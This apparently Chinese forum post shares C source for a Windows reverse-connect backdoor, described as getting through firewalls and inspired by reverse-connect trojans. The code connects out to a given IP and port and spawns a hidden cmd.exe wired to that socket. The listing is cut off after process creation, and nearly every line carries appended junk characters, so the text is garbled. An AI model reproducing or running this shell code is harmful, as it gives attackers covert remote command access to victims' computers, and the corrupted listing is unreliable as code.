这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HKM~BL
"X
HUK"OH
/* ============================== B,w:DX
Rebound port in Windows NT P4i3y{$V
By wind,2006/7 KU*`f{|
===============================*/ ^P]?3U\nj
#include 7:#
#include ;gdi=>S_
S!u6dz^[$X
#pragma comment(lib,"wsock32.lib")
dD :
T4Xtuu1
void OutputShell(); 4,gol?a
SOCKET sClient; =rtS#u
Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U8EJC
.e&O
;5-R=e(KA
void main(int argc,char **argv) !-F ^VGD(8
{ fFjL pl
WSADATA stWsaData; h=!M6yap<
int nRet; :
x>I-
3G
SOCKADDR_IN stSaiClient,stSaiServer; mu 2
A% "7
\nrgAC-b
if(argc != 3) G`9cd\^
{ pCz@(:0
printf("Useage:\n\rRebound DestIP DestPort\n"); +SAk:3.#CV
return; ~*jsB=XM/
} @gH(/pFX
@X3 gBGY)
WSAStartup(MAKEWORD(2,2),&stWsaData); 2f`WDL
nXv 7OEpTx
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w/?nUp
lv=yz\
stSaiClient.sin_family = AF_INET; X!HDj<
stSaiClient.sin_port = htons(0); I/oIcQS!k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~8XX3+]z:X
hN Z4v/
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 14mXx}O
{ N>Vacc_[
printf("Bind Socket Failed!\n"); P'-JbPXU
return; 9Q,Msl4n
} fui4@
W`w5jk'0^=
stSaiServer.sin_family = AF_INET; A4~D#V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _!CK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
pESB Il
{E;2&d
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w> Tyk#7lw
{ IXbdS9,>F
printf("Connect Error!"); IlcNT_
5a8
return; Pd)K^;em
} M(_^'3u
OutputShell(); BM|-GErE
} %'RI3gy
fO[Rf_
void OutputShell() HiQoRk
{ l*F!~J3
char szBuff[1024]; HXD*zv@ *6
SECURITY_ATTRIBUTES stSecurityAttributes; 73&]En
OSVERSIONINFO stOsversionInfo; $
/}: P
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (eCF>Wh^m
STARTUPINFO stStartupInfo; Qw3a"k-
char *szShell; ,[Dh2fPM,
PROCESS_INFORMATION stProcessInformation; S4#A#a2J
unsigned long lBytesRead; N>uA|<b,
S^3g]5YX
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l9M#]*{
f28gE7Y\a
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9\AEyaJFZ
stSecurityAttributes.lpSecurityDescriptor = 0;
1m&!l6Jk
stSecurityAttributes.bInheritHandle = TRUE; f o/
D3
yq/[ /*7^
NmH}"ndv+
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2E@C0Ha L
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A6@+gP<
C ffTv
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UgF) J
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gi1}5DR
stStartupInfo.wShowWindow = SW_HIDE; o|rGy5
stStartupInfo.hStdInput = hReadPipe; n/KI"qa]9
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K[iY{
Y|hzF:ll
GetVersionEx(&stOsversionInfo); G ;PbTsW
{{^Mr)]5K
switch(stOsversionInfo.dwPlatformId) fK)ZJ_?w,@
{ y8<lp+
case 1: c,6<7
szShell = "command.com"; sh',"S#=@
break; L #t-KLJ
default: o{ ,ba~$.w
szShell = "cmd.exe"; *Gk<"pEeS
break; sf.E|]isW
} o1fyNzq<
#U?EOm
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qP7&Lt